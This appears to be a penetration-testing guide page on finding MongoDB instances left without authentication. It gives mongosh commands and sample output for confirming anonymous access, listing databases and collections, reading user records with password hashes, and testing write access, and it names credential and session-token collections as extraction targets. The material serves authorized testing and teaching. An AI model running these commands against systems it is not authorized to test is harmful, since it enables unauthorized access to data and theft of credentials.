# MongoDB Unauthenticated Access

- **URL:** https://hackindex.io/services/mongodb/vulnerability-discovery/mongodb-unauthenticated-access
- **Path:** MongoDB > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/mongodb/vulnerability-discovery.md)
- **Published:** 2026-03-28
- **Updated:** 2026-03-28

Unauthenticated MongoDB access occurs when the instance is started without the `--auth` flag or with `security.authorization: disabled` in the config file. Any connecting client has full access to all databases and collections without credentials. Detection here confirms the condition and scopes the exposure: how many databases exist, whether write access is also open, and whether sensitive collections are directly readable. Confirmed unauthenticated access moves to [unauthenticated data extraction](https://hackindex.io/services/mongodb/exploitation/mongodb-unauthenticated-data-extraction).

## Confirm Unauthenticated Read Access

The fastest confirmation is a non-interactive version check. A version string returned without credentials confirms the instance is open:

```bash
mongosh $TARGET_IP:27017 --quiet --eval 'db.version()' 2>/dev/null
# 6.0.5
```

Check connection identity explicitly to confirm no authentication was performed:

```bash
mongosh $TARGET_IP:27017 --quiet --eval 'printjson(db.runCommand({connectionStatus: 1}).authInfo)'
# { authenticatedUsers: [], authenticatedUserRoles: [] }
```

Empty arrays with no error confirm unauthenticated access. If the connection instead returns an error like `command listDatabases requires authentication`, authentication is enforced and this path is closed.

## Scope the Database Exposure

List all databases to establish what is accessible and prioritize targets:

```bash
mongosh $TARGET_IP:27017 --quiet --eval 'db.adminCommand({listDatabases:1}).databases.forEach(d => print(d.name, d.sizeOnDisk))'
# admin 102400
# appdb 81920
# users 40960
# analytics 204800
# local 40960
```

```bash
mongosh $TARGET_IP:27017 --quiet --eval 'db.adminCommand({listDatabases:1}).databases.forEach(d => { let cols = db.getSiblingDB(d.name).getCollectionNames(); print(d.name+": "+cols.join(", ")) })'
# admin: system.users, system.roles, system.version
# appdb: users, sessions, orders, api_tokens
# users: accounts, profiles
# analytics: events, metrics, logs
```

Immediate extraction targets:

- `users`, `accounts`, `credentials` for application passwords
- `sessions`, `api_tokens` for active session data
- `admin.system.users` for MongoDB user password hashes

## Confirm Read Access on Collections

Verify that collection data is readable by pulling a sample document:

```bash
mongosh $TARGET_IP:27017/appdb --quiet --eval 'printjson(db.users.findOne())'
# {
#   _id: ObjectId('507f1f77bcf86cd799439011'),
#   username: 'admin',
#   password: '$2b$12$abc123hashhere',
#   email: 'admin@company.com',
#   role: 'administrator'
# }
```

## Confirm Write Access

Test whether the anonymous connection can write. Insert a test document and immediately delete it:

```bash
mongosh $TARGET_IP:27017/appdb --quiet --eval 'db.pentest_check.insertOne({test:"write_access_confirmed"}); db.pentest_check.drop()'
# { acknowledged: true, insertedId: ObjectId('...') }
# true
```

> [!WARNING]
> Always clean up test writes immediately. Use a dedicated collection name that makes the pentest origin obvious, and drop it immediately after confirming write access.

Confirmed write access means an attacker can modify application data, insert backdoor accounts into the application's user collection, and corrupt records. Move to [unauthenticated data extraction](https://hackindex.io/services/mongodb/exploitation/mongodb-unauthenticated-data-extraction) to dump high-value collections, and check [dangerous configuration checks](https://hackindex.io/services/mongodb/vulnerability-discovery/mongodb-dangerous-configuration-checks) to understand the full misconfiguration picture.

## References

- [MongoDB: Enable Authentication](https://www.mongodb.com/docs/manual/tutorial/enable-authentication/) - Official documentation for enabling authorization on MongoDB instances